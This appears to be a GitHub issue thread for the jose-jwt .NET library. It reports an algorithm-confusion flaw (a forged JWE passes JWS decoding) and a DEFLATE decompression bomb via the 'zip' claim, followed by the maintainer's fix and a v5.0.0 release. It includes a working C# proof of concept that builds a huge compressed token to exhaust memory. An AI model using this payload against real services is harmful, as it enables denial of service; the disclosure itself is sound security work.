dvsekhvalnov / jose-jwt

Ultimate Javascript Object Signing and Encryption (JOSE), JSON Web Token (JWT) and Json Web Keys (JWK) Implementation for .NET and .NET Core
MIT License
921 stars 183 forks source link

Further exploitation about sign/encrypt attack #237

Closed P3ngu1nW closed 3 months ago

P3ngu1nW commented 5 months ago

Summary

Jose.JWT.Decode will automatically detect whether the user inputs JWS or JWE. This means that if the attacker obtains the public key of JWS, he can forge a JWE Token to pass the verification.

What's more, the attacker can use the "zip" claim to construct a DEFLATE Decompression bomb to crash or DOS a system.

Similar CVE: https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2

POC

using Jose;

class Program
{
    static void Main()
    {
        Jwk Key = new Jwk(
            e: "AQAB",
            n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q",
            p: "0qaOkT174vRG3E_67gU3lgOgoT6L3pVHuu7wfrIEoxycPa5_mZVG54SgvQUofGUYEGjR0lavUAjClw9tOzcODHX8RAxkuDntAFntBxgRM-IzAy8QzeRl_cbhgVjBTAhBcxg-3VySv5GdxFyrQaIo8Oy_PPI1L4EFKZHmicBd3ts",
            q: "zJPqCDKqaJH9TAGfzt6b4aNt9fpirEcdpAF1bCedFfQmUZM0LG3rMtOAIhjEXgADt5GB8ZNK3BQl8BJyMmKs57oKmbVcODERCtPqjECXXsxH-az9nzxatPvcb7imFW8OlWslwr4IIRKdEjzEYs4syQJz7k2ktqOpYI5_UfYnw1s",
            d: "lJhwb0pKlB2ivyDFO6thajotClrMA3nxIiSkIUbvVr-TToFtha36gyF6w6e6YNXQXs4HhMRy1_b-nRQDk8G4_f5urd_q-pOn5u4KfmqN3Xw-lYD3ddi9qF0NLeTVUNVFASeP0FFqbPYfdNwD-LyvwjhtT_ggMOAw3mYvU5cBfz6-3uPdhl3CwQFCTgwOud_BA9p2MPMUHG82wMK_sNO1I0TYpjm7TnwNBwiKbMf-i5CKnuohgoYrEDYLeMg3f32eBljlCFNYaoCtT-mr1Ze0OTJND04vbfLotV-BBKulIpbOOSeVpKG7gJxZHmv7in7PE5_WzaxKFVoHW3wR6v_GzQ",
            dp: "KTWmTGmf092AA1euOmRQ5IsfIIxQ5qGDn-FgsRh4acSOGE8L7WrTrTU4EOJyciuA0qz-50xIDbs4_j5pWx1BJVTrnhBin9vNLrVo9mtR6jmFS0ko226kOUpwEVLgtdQjobWLjtiuaMW-_Iw4gKWNptxZ6T1lBD8UWHaPiEFW2-M",
            dq: "Jn0lqMkvemENEMG1eUw0c601wPOMoPD4SKTlnKWPTlQS6YISbNF5UKSuFLwoJa9HA8BifDrD-Mfpo1M1HPmnoilEWUrfwMqqdCkOlbiJQhKY8AZ16QGH50kDXhmVVa8BRWdVQWBTUzWXS5kXMaeskVzextTgymPcOAhXN-ph7MU",
            qi: "sRAPigJpl8S_vsf1zhJTrHM97xRwuB26R6Tm-J8sKRPb7p5xxNlmOBBFvWmWxdto8dBElNlydSZan373yBLxzW-bZgVp-B2RKT1B3WhTYW_Vo5DLhWi84XMncJxH7avtxtF9yksaeKe0e2n3J6TTan53mDg4KF8U0OEO2ciqO9g"
        );

        Jwk PubKey = new Jwk(
            e: "AQAB",
            n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q"
        );
        string strU = new string('U', 400000000);
        string strUU = new string('U', 100000000);
        string payload = $@"{{""U"":""{strU}"", ""UU"":""{strUU}""}}";
        string eviltoken = Jose.JWT.Encode(payload, PubKey, JweAlgorithm.RSA_OAEP, JweEncryption.A256GCM, JweCompression.DEF);
        string s = Jose.JWT.Decode(eviltoken, Key, JwsAlgorithm.RS256);
        Console.WriteLine(s);
    }
}

How to Fix

set a maximum token size for expansion.

dvsekhvalnov commented 5 months ago

Hi @P3ngu1nW ,

i neither quite sure what fix you are looking for nor what 'set a maximum token size for expansion' means.

You can deregister compression via: https://github.com/dvsekhvalnov/jose-jwt?tab=readme-ov-file#deregister-algorithm-implementations or https://github.com/dvsekhvalnov/jose-jwt?tab=readme-ov-file#strict-validation

If you want to put max cap on incoming token length - it's beyond library responsibility and honestly quite easy to do before calling library.

dvsekhvalnov commented 5 months ago

Can probably limit memory decompression buffer size by default to some reasonable value. And make it configurable. What can be good default?

P3ngu1nW commented 5 months ago

Maybe we can learn from Azure’s approach and set an upper limit of 250K.

https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/wiki/zipcve

dvsekhvalnov commented 5 months ago

yeah, i think doable. let's mark for next release.

dvsekhvalnov commented 4 months ago

@P3ngu1nW i've put fix for decompression thing: https://github.com/dvsekhvalnov/jose-jwt/pull/238 will be part of v5 release.

Also, i guess figured out what did mean by unit test:

string s = Jose.JWT.Decode(eviltoken, Key, JwsAlgorithm.RS256);

that line doesn't really protects you, right? I think there is a bug in strict validation, it doesn't apply signing check to encrypted tokens and vice versa. Will fix it too.

dvsekhvalnov commented 3 months ago

v5.0.0 released to nuget.org

https://github.com/dvsekhvalnov/jose-jwt/releases/tag/v5.0.0